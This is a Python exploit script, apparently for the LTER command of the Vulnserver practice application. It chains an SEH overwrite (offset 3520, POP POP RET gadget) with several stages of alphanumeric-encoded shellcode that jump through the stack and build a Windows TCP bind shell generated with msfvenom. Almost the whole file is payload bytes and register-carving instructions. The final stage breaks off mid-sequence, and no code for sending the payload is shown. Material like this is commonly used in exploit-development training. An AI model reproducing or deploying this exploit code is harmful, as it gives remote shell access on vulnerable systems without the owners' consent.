import socket
import struct
import os
import sys

vuln_command = "LTER _.?"
crash = 4000
offset = 3520
seh = struct.pack("<I", 0x6250120b)        # POP POP RET

# 1st Stage Shellcode (Short JMP - nSEH)
stage1 = ""
stage1 += "\x75\x08"                       # JNZ SHORT [+0x10] = Jump if ZF is not 0
stage1 += "\x74\x06"                       # JZ SHORT [+0x8] = Jump if ZF is 0

# 2nd Stage Shellcode (Short JMP - Encoded \xEB\x80)
stage2 = ""
stage2 += "\x54"                           # PUSH ESP 
stage2 += "\x58"                           # POP EAX
stage2 += "\x66\x05\x59\x13"               # ADD AX,0x1359 (018BFFFD - 016EECA4 = 0x1359)
stage2 += "\x50"                           # PUSH EAX
stage2 += "\x5C"                           # POP ESP
stage2 += "\x25\x4A\x4D\x4E\x55"           # Zero out EAX
stage2 += "\x25\x35\x32\x31\x2A"           # 
stage2 += "\x2D\x7F\x7F\x7F\x7F"           # Carving \xEB\x80\x90\x90 
stage2 += "\x2D\x7F\x7F\x7F\x7F"           # 
stage2 += "\x2D\x02\x50\x50\x50"           # 
stage2 += "\x2D\x15\x30\x20\x20"           # 
stage2 += "\x50"                           # PUSH EAX

# 3rd Stage Shellcode (Long JMP)
stage3 = ""
stage3 += "\x54"                           # PUSH ESP 
stage3 += "\x58"                           # POP EAX
stage3 += "\x2C\x38"                       # ADD AL,0x38 (0187FFF9 - 0187FFC1 = 0x39)
stage3 += "\x50"                           # PUSH EAX
stage3 += "\x5C"                           # POP ESP
stage3 += "\x54"                           # PUSH ESP
stage3 += "\x5B"                           # POP EBX
stage3 += "\x25\x4A\x4D\x4E\x55"           # Zero out EAX
stage3 += "\x25\x35\x32\x31\x2A"           #
stage3 += "\x2D\x7F\x7F\x7F\x7F"           # Carving \x00\x00\xFF\xD3
stage3 += "\x2D\x7F\x7F\x7F\x7F"           #
stage3 += "\x2D\x02\x01\x02\x2D"           #
stage3 += "\x50"                           # PUSH EAX
stage3 += "\x25\x4A\x4D\x4E\x55"           # Zero out EAX
stage3 += "\x25\x35\x32\x31\x2A"           # 
stage3 += "\x05\x41\x76\x65\x07"           # Carving \x81\xEB\xB9\x0D
stage3 += "\x05\x40\x75\x54\x06"           #
stage3 += "\x50"                           # PUSH EAX

# 4th Stage Shellcode (Bind Shell)
# msfvenom -p windows/shell_bind_tcp LHOST=127.0.0.1 LPORT=443 BUFFERREGISTER=esp EXITFUNC=thread -f c -b "\x00"

stage4 = ""
stage4 += "\x54"                           # PUSH ESP 
stage4 += "\x58"                           # POP EAX
stage4 += "\x2C\x3D"                       # ADD AL,0x38 (0187FFB5 - 0187FF78 = 0x3D)
stage4 += "\x50"                           # PUSH EAX
stage4 += "\x5C"                           # POP ESP
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x23\x50\x50" ## add  eax, 0x50502333
stage4 += "\x05\x44\x23\x40\x40" ## add  eax, 0x40402344
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x22\x16\x16" ## add  eax, 0x16162233
stage4 += "\x05\x43\x21\x15\x16" ## add  eax, 0x16152143
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x63\x53\x16\x47" ## add  eax, 0x47165363
stage4 += "\x05\x53\x43\x15\x36" ## add  eax, 0x36154353
stage4 += "\x05\x62\x43\x13\x35" ## add  eax, 0x35134362
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x55\x70\x73\x01" ## add  eax, 0x01737055
stage4 += "\x05\x44\x70\x63\x01" ## add  eax, 0x01637044
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x35\x74\x42\x14" ## add  eax, 0x14427435
stage4 += "\x05\x34\x64\x42\x13" ## add  eax, 0x13426434
stage4 += "\x05\x24\x53\x42\x13" ## add  eax, 0x13425324
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x22\x46\x11\x43" ## add  eax, 0x43114622
stage4 += "\x05\x12\x35\x22\x33" ## add  eax, 0x33223512
stage4 += "\x05\x22\x33\x11\x33" ## add  eax, 0x33113322
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x27\x34\x65\x20" ## add  eax, 0x20653427
stage4 += "\x05\x17\x44\x55\x10" ## add  eax, 0x10554417
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x43\x66\x27\x44" ## add  eax, 0x44276643
stage4 += "\x05\x43\x66\x16\x44" ## add  eax, 0x44166643
stage4 += "\x05\x42\x44\x25\x34" ## add  eax, 0x34254442
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x27\x73\x36" ## add  eax, 0x36732733
stage4 += "\x05\x42\x17\x72\x46" ## add  eax, 0x46721742
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x63\x60\x17\x62" ## add  eax, 0x62176063
stage4 += "\x05\x62\x50\x17\x52" ## add  eax, 0x52175062
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x11\x23\x33\x34" ## add  eax, 0x34332311
stage4 += "\x05\x12\x22\x33\x24" ## add  eax, 0x24332212
stage4 += "\x05\x11\x22\x22\x23" ## add  eax, 0x23222211
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x32\x31\x15\x33" ## add  eax, 0x33153132
stage4 += "\x05\x22\x30\x15\x34" ## add  eax, 0x34153022
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x34\x53\x61\x73" ## add  eax, 0x73615334
stage4 += "\x05\x44\x44\x61\x62" ## add  eax, 0x62614444
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x21\x02\x62\x65" ## add  eax, 0x65620221
stage4 += "\x05\x11\x02\x52\x64" ## add  eax, 0x64520211
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x37\x25\x70\x06" ## add  eax, 0x06702537
stage4 += "\x05\x26\x25\x60\x06" ## add  eax, 0x06602526
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x62\x76\x33\x32" ## add  eax, 0x32337662
stage4 += "\x05\x51\x65\x33\x31" ## add  eax, 0x31336551
stage4 += "\x05\x62\x53\x33\x22" ## add  eax, 0x22335362
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x62\x17\x44\x52" ## add  eax, 0x52441762
stage4 += "\x05\x51\x16\x44\x41" ## add  eax, 0x41441651
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x16\x31\x76\x26" ## add  eax, 0x26763116
stage4 += "\x05\x15\x30\x66\x15" ## add  eax, 0x15663015
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x17\x33\x65\x76" ## add  eax, 0x76653317
stage4 += "\x05\x16\x23\x54\x66" ## add  eax, 0x66542316
stage4 += "\x05\x15\x22\x44\x54" ## add  eax, 0x54442215
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x55\x66\x62\x34" ## add  eax, 0x34626655
stage4 += "\x05\x55\x55\x61\x34" ## add  eax, 0x34615555
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x15\x30\x23\x62" ## add  eax, 0x62233015
stage4 += "\x05\x15\x40\x24\x51" ## add  eax, 0x51244015
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x30\x63\x31\x17" ## add  eax, 0x17316330
stage4 += "\x05\x40\x63\x20\x17" ## add  eax, 0x17206340
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x66\x47\x62\x62" ## add  eax, 0x62624766
stage4 += "\x05\x56\x46\x52\x52" ## add  eax, 0x52524656
stage4 += "\x05\x34\x35\x32\x32" ## add  eax, 0x32323534
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x57\x13\x72\x71" ## add  eax, 0x71721357
stage4 += "\x05\x46\x04\x72\x61" ## add  eax, 0x61720446
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x07\x24\x12\x56" ## add  eax, 0x56122407
stage4 += "\x05\x07\x24\x02\x45" ## add  eax, 0x45022407
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x14\x31\x32\x73" ## add  eax, 0x73323114
stage4 += "\x05\x14\x22\x31\x63" ## add  eax, 0x63312214
stage4 += "\x05\x14\x21\x32\x53" ## add  eax, 0x53322114
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x42\x41\x17\x33" ## add  eax, 0x33174142
stage4 += "\x05\x32\x41\x16\x23" ## add  eax, 0x23164132
stage4 += "\x05\x32\x31\x15\x23" ## add  eax, 0x23153132
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x50\x33\x71" ## add  eax, 0x71335033
stage4 += "\x05\x22\x50\x23\x60" ## add  eax, 0x60235022
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x23\x12\x13\x67" ## add  eax, 0x67131223
stage4 += "\x05\x13\x02\x14\x67" ## add  eax, 0x67140213
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x12\x22\x57\x33" ## add  eax, 0x33572212
stage4 += "\x05\x22\x21\x46\x23" ## add  eax, 0x23462122
stage4 += "\x05\x12\x22\x45\x22" ## add  eax, 0x22452212
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x71\x63\x41\x63" ## add  eax, 0x63416371
stage4 += "\x05\x62\x52\x41\x53" ## add  eax, 0x53415262
stage4 += "\x05\x51\x62\x31\x32" ## add  eax, 0x32316251
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x42\x36\x63\x76" ## add  eax, 0x76633642
stage4 += "\x05\x42\x25\x53\x65" ## add  eax, 0x65532542
stage4 += "\x05\x42\x24\x63\x54" ## add  eax, 0x54632442
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x52\x32\x31\x42" ## add  eax, 0x42313252
stage4 += "\x05\x52\x42\x40\x41" ## add  eax, 0x41404252
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x71\x76\x63\x10" ## add  eax, 0x10637671
stage4 += "\x05\x70\x65\x62\x10" ## add  eax, 0x10626570
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x26\x57\x66" ## add  eax, 0x66572633
stage4 += "\x05\x32\x26\x46\x55" ## add  eax, 0x55462632
stage4 += "\x05\x32\x24\x45\x46" ## add  eax, 0x46452432
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x55\x61\x40\x33" ## add  eax, 0x33406155
stage4 += "\x05\x44\x51\x40\x32" ## add  eax, 0x32405144
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x51\x34\x73\x66" ## add  eax, 0x66733451
stage4 += "\x05\x40\x24\x74\x66" ## add  eax, 0x66742440
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x36\x33\x64\x56" ## add  eax, 0x56643336
stage4 += "\x05\x45\x24\x54\x55" ## add  eax, 0x55542445
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x46\x73\x13\x61" ## add  eax, 0x61137346
stage4 += "\x05\x45\x63\x03\x61" ## add  eax, 0x61036345
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x70\x50\x76\x30" ## add  eax, 0x30765070
stage4 += "\x05\x60\x50\x75\x40" ## add  eax, 0x40755060
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x03\x23\x72\x73" ## add  eax, 0x73722303
stage4 += "\x05\x02\x12\x71\x62" ## add  eax, 0x62711202
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x32\x37\x12\x14" ## add  eax, 0x14123732
stage4 += "\x05\x32\x27\x01\x14" ## add  eax, 0x14012732
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x21\x16\x46\x74" ## add  eax, 0x74461621
stage4 += "\x05\x21\x15\x35\x64" ## add  eax, 0x64351521
stage4 += "\x05\x21\x16\x33\x54" ## add  eax, 0x54331621
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x47\x66\x32\x25" ## add  eax, 0x25326647
stage4 += "\x05\x46\x56\x31\x24" ## add  eax, 0x24315646
stage4 += "\x05\x35\x64\x22\x24" ## add  eax, 0x24226435
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x53\x04\x66\x62" ## add  eax, 0x62660453
stage4 += "\x05\x42\x04\x56\x61" ## add  eax, 0x61560442
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x76\x47\x26\x66" ## add  eax, 0x66264776
stage4 += "\x05\x66\x47\x15\x56" ## add  eax, 0x56154766
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x42\x13\x42\x47" ## add  eax, 0x47421342
stage4 += "\x05\x32\x22\x42\x46" ## add  eax, 0x46422232
stage4 += "\x05\x32\x12\x42\x35" ## add  eax, 0x35421232
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x76\x01\x70\x67" ## add  eax, 0x67700176
stage4 += "\x05\x65\x01\x70\x56" ## add  eax, 0x56700165
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x13\x27\x66\x26" ## add  eax, 0x26662713
stage4 += "\x05\x23\x16\x65\x26" ## add  eax, 0x26651623
stage4 += "\x05\x13\x25\x46\x24" ## add  eax, 0x24462513
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x61\x11\x32\x30" ## add  eax, 0x30321161
stage4 += "\x05\x61\x01\x41\x20" ## add  eax, 0x20410161
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x16\x63\x74\x66" ## add  eax, 0x66746316
stage4 += "\x05\x26\x53\x64\x55" ## add  eax, 0x55645326
stage4 += "\x05\x14\x33\x53\x34" ## add  eax, 0x34533314
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x55\x43\x73\x71" ## add  eax, 0x71734355
stage4 += "\x05\x55\x43\x73\x61" ## add  eax, 0x61734355
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x64\x64\x67\x43" ## add  eax, 0x43676464
stage4 += "\x05\x54\x53\x56\x33" ## add  eax, 0x33565354
stage4 += "\x05\x63\x63\x35\x33" ## add  eax, 0x33356363
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x55\x62\x16\x15" ## add  eax, 0x15166255
stage4 += "\x05\x55\x61\x05\x15" ## add  eax, 0x15056155
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x11\x26\x66\x56" ## add  eax, 0x56662611
stage4 += "\x05\x10\x16\x65\x45" ## add  eax, 0x45651610
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x57\x74\x60\x57" ## add  eax, 0x57607457
stage4 += "\x05\x47\x74\x50\x47" ## add  eax, 0x47507447
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x71\x56\x73\x35" ## add  eax, 0x35735671
stage4 += "\x05\x60\x45\x63\x45" ## add  eax, 0x45634560
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x76\x76\x16\x43" ## add  eax, 0x43167676
stage4 += "\x05\x65\x65\x26\x32" ## add  eax, 0x32266565
stage4 += "\x05\x54\x54\x14\x32" ## add  eax, 0x32145454
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x35\x61\x22" ## add  eax, 0x22613533
stage4 += "\x05\x43\x25\x50\x22" ## add  eax, 0x22502543
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x54\x67\x11\x71" ## add  eax, 0x71116754
stage4 += "\x05\x54\x67\x10\x71" ## add  eax, 0x71106754
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x13\x63\x71\x54" ## add  eax, 0x54716313
stage4 += "\x05\x02\x52\x61\x44" ## add  eax, 0x44615202
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x75\x67\x55\x35" ## add  eax, 0x35556775
stage4 += "\x05\x75\x57\x45\x25" ## add  eax, 0x25455775
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x13\x67\x37\x37" ## add  eax, 0x37376713
stage4 += "\x05\x04\x57\x26\x26" ## add  eax, 0x26265704
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x63\x11\x11\x31" ## add  eax, 0x31111163
stage4 += "\x05\x63\x21\x21\x32" ## add  eax, 0x32212163
stage4 += "\x05\x43\x11\x11\x21" ## add  eax, 0x21111143
stage4 += "\x2D\x33\x33\x33\x33" ## sub  eax, 0x33333333
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x14\x41\x60\x14" ## add  eax, 0x14604114
stage4 += "\x05\x04\x40\x50\x04" ## add  eax, 0x04504004
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x17\x23\x26\x55" ## add  eax, 0x55262317
stage4 += "\x05\x06\x14\x15\x55" ## add  eax, 0x55151406
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x33\x37\x12\x53" ## add  eax, 0x53123733
stage4 += "\x05\x32\x47\x11\x52" ## add  eax, 0x52114732
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x25\x36\x40\x31" ## add  eax, 0x31403625
stage4 += "\x05\x15\x26\x40\x30" ## add  eax, 0x30402615
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x26\x37\x07\x75" ## add  eax, 0x75073726
stage4 += "\x05\x15\x36\x06\x74" ## add  eax, 0x74063615
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
stage4 += "\x05\x53\x72\x74\x15" ## add  eax, 0x15747253
stage4 += "\x05\x42\x72\x74\x04" ## add  eax, 0x04747242
stage4 += "\x50"                 ## push eax
stage4 += "\x25\x4A\x4D\x4E\x55" ## and  eax, 0x554e4d4a
stage4 += "\x25\x35\x32\x31\x2A" ## and  eax, 0x2a313235
